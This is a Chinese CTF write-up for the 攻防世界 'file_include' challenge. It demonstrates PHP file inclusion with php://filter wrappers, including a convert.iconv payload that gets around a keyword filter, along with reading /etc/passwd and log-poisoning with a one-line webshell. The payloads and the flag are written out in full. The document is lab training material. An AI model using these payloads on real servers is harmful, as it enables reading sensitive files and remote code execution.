攻防世界-file_include(convert.iconv的使用)

简介: 攻防世界-file_include(convert.iconv的使用)

 

代码审计,存在文件包含,直接上伪协议

发现不行,应该是存在字符过滤

知识盲区:

1.file://协议,需要填写绝对路径,只能读取txt文件,后面直接跟绝对路径。

file:///etc/passwd

2.php://filter

(1)String Filters(字符串过滤器)

php://filter/string.rot13/resource=flag.php //读出以后利用ROT13解码即可
php://filter/string.toupper/resource=flag.php //转大写
php://filter/string.tolower/resource=flag.php //转小写
php://filter/string.strip_tags/resource=flag.php //php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

(2)Conversion Filters(转换过滤器)

php://filter/convert.base64-encode/resource=flag.php //base64加密读出
php://filter/convert.quoted-printable-encode/resource=flag.php 

convert.iconv.*:

用法:

convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>

<input-encoding>和<output-encoding> 就是编码方式,有如下几种:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

payload:


?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/var/www/html/flag.php

(3)Compression Filters(压缩过滤器)

payload:

php://filter/zlib.deflate|zlib.inflate/resource=flag.php        //zlib.deflate(压缩)|zlib.inflate(解压)
or
php://filter/bzip2.compress|bzip2.decompress/resource=flag.php   //bzip2.compress(压缩)|bzip2.decompress(解压)

3.包含日志文件,抓包写入一句话木马,进行getshell 日志文件路径:

(1)/var/log/nginx/access.log
(2)/var/log/apache2/access_log

4、iconv函数

完成各种字符集间的转换

$string = "XXXX";

iconv("utf8","gbk",$string)  //将字符串string 编码由utf8转变成gbk;

直接访问check.php这个文件里面的内容

如果使用括号里面的编码参数会直接提示do not hack!

查看flag.php

注意伪协议里面的编码使用:/?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php

$flag=cyberpeace{97c7789160615b28e7bb02fc233c4080}

目录
相关文章
|
1月前
|
安全 关系型数据库 Linux
文件包含(File inclusion)
文件包含(File inclusion)
文件包含(File inclusion)
|
5月前
|
Android开发
error: GLES2/gl2.h: No such file or directory
error: GLES2/gl2.h: No such file or directory
|
4月前
|
XML 数据格式 Python
【Python】已解决:FileNotFoundError: [Errno 2] No such file or directory: ‘./1.xml’
【Python】已解决:FileNotFoundError: [Errno 2] No such file or directory: ‘./1.xml’
175 0
|
6月前
|
编解码 Python Windows
Python文件路径报错SyntaxError: (unicode error) ‘unicodeescape‘ codec can‘t decode bytes in position 2-3: t
Python文件路径报错SyntaxError: (unicode error) ‘unicodeescape‘ codec can‘t decode bytes in position 2-3: t
完美解决common_define.h: No such file or directory
完美解决common_define.h: No such file or directory
236 0
完美解决common_define.h: No such file or directory
|
PyTorch 算法框架/工具
THCudaCheck FAIL file=/pytorch/aten/src/THC/THCGeneral.cpp line=405 error=11 : invalid argument
THCudaCheck FAIL file=/pytorch/aten/src/THC/THCGeneral.cpp line=405 error=11 : invalid argument
216 0
THCudaCheck FAIL file=/pytorch/aten/src/THC/THCGeneral.cpp line=405 error=11 : invalid argument
|
计算机视觉
catkin_make:Project ‘cv_bridge‘ specifies ‘/usr/include/opencv‘ as an include dir, which is not fo
catkin_make:Project ‘cv_bridge‘ specifies ‘/usr/include/opencv‘ as an include dir, which is not fo
260 0
|
Python
SyntaxError: Non-ASCII character ‘\xe6‘ in file E:/pythondemo/example2.py on line 2, but no encoding
SyntaxError: Non-ASCII character ‘\xe6‘ in file E:/pythondemo/example2.py on line 2, but no encoding
304 0